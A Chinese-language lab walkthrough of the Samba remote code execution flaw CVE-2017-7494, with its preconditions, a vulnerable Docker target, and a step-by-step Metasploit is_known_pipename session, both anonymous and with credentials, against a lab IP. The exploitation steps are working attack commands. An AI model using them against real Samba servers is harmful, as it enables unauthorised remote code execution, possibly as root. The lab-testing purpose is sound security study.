漏洞信息:
2017年5月24日Samba发布了4.6.4版本，中间修复了一个严重的远程代码执行漏洞，漏洞编号CVE-2017-7494，漏洞影响了Samba 3.5.0 之后到4.6.4/4.5.10/4.4.14中间的所有版本。
漏洞利用条件:
1. 服务器打开了文件/打印机共享端口445，让其能够在公网上访问
2. 共享文件拥有写入权限
3. 恶意攻击者需猜解Samba服务端共享目录的物理路径
满足以上条件时，由于Samba能够为选定的目录创建网络共享，当恶意的客户端连接上一个可写的共享目录时，通过上传恶意的链接库文件，使服务端程序加载并执行它，从而实现远程代码执行。根据服务器的情况，攻击者还有可能以root身份执
测试环境：
在docker下搭建测试环境
1.拉取镜像到本地
root@backlion-virtual-machine:/home/backlion# docker pull medicean/vulapps:s_samba_1
2.启动环境，并将虚拟的445端口映射到物理机的445端口上：
root@backlion-virtual-machine:/home/backlion# docker run -d -p 445:445 -p 139:139 -p 138:138 -p 137:137 medicean/vulapps:s_samba_1
3.在msf下的利用（kali主机IP: 10.0.0.140，靶机下的ubuntu的物理住机IP:10.0.0.158)

将is_known_pipename.rb
拷贝到/usr/share/metasploit-framework/modules/exploits/linux/samba/
匿名下的samba远程执行之MSF:
root@backlion:~# service postgresql start
root@backlion:~# msfconsole
msf > search is_known_pipename
msf > use exploit/linux/samba/is_known_pipename
msf exploit(is_known_pipename) > show options
msf exploit(is_known_pipename) > set rhost 10.0.0.158
msf exploit(is_known_pipename) > set rport 445
msf exploit(is_known_pipename) > exploit
认证的samb下MSF:
msf exploit(is_known_pipename) > set SMBUSER test
msf exploit(is_known_pipename) > set SMBPASS 123456
msf exploit(is_known_pipename) > set rhost 10.0.0.158
msf exploit(is_known_pipename) > set rport 445
msf exploit(is_known_pipename) > exploit
